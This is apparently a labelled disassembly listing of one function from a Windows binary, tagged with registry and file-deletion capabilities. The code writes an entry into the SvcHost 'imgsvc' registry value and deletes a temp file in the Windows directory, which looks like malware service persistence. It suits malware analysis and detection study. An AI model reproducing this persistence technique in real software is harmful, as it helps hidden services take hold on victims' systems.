Function at 0x1000fc00
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x1af]
mov byte [ebp - 0x1b0], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1b0]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
nop
nop
nop
nop
nop
nop
nop
mov byte [ebp - 0x1ad], 0
nop
nop
nop
nop
nop
nop
nop
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x1b0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.1000f920
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0xab]
mov byte [ebp - 0xac], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
nop
nop
nop
nop
nop
nop
nop
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
push eax
lea edx, [ebp - 0xac]
push str.SOFTWARE_d
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0xac]
push eax
push ecx
call fcn.1000f980
add esp, 0x1c
lea edx, [ebp - 4]
lea eax, [ebp - 0xac]
push edx
push 0xf003f
push 0
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000feca
mov ecx, 0x1f3
lea edi, [ebp - 0x97f]
mov byte [ebp - 0x980], al
lea edx, [ebp - 0x980]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [ebp - 0x980]
mov dword [ebp - 0xc], 7
rep stosd dword es:[edi], eax
lea ecx, [ebp - 8]
lea eax, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
push edx
push eax
push 0
push str.imgsvc
push ecx
mov dword [ebp - 8], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000fe29
lea edi, [ebp - 0x980]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [ebp - 0x980]
mov esi, ecx
mov dword [ebp - 0x10], eax
test si, si
je 0x1000fde3
cmp si, 1
je 0x1000fde3
push str.Gmsag___uogshdwPlu
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000fe18
mov edx, dword [ebp - 0x10]
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea eax, [edx + eax + 1]
mov dword [ebp - 0x10], eax
je 0x1000fde3
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000fd9d
mov edi, str.Gmsag___uogshdwPlu
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp - 0x10]
repne scasb al, byte es:[edi]
mov al, byte [ebx - 1]
push str.Gmsag___uogshdwPlu
not ecx
dec ecx
push 0x1001c344
add edx, ecx
test al, al
mov dword [ebp - 0x10], edx
je 0x1000fe0c
inc ebx
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x1000fe64
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, str.Gmsag___uogshdwPlu
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x980]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x980]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x980]
push ecx
push edx
push 7
push 0
push str.imgsvc
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x1b0]
push edx
call esi
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0xac]
push eax
push ecx
call fcn.1000f920
lea edx, [ebp - 0x1b0]
lea eax, [ebp - 0x48]
push edx
push eax
call fcn.1000f980
add esp, 0x10
lea ecx, [ebp - 0x1b0]
push ecx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret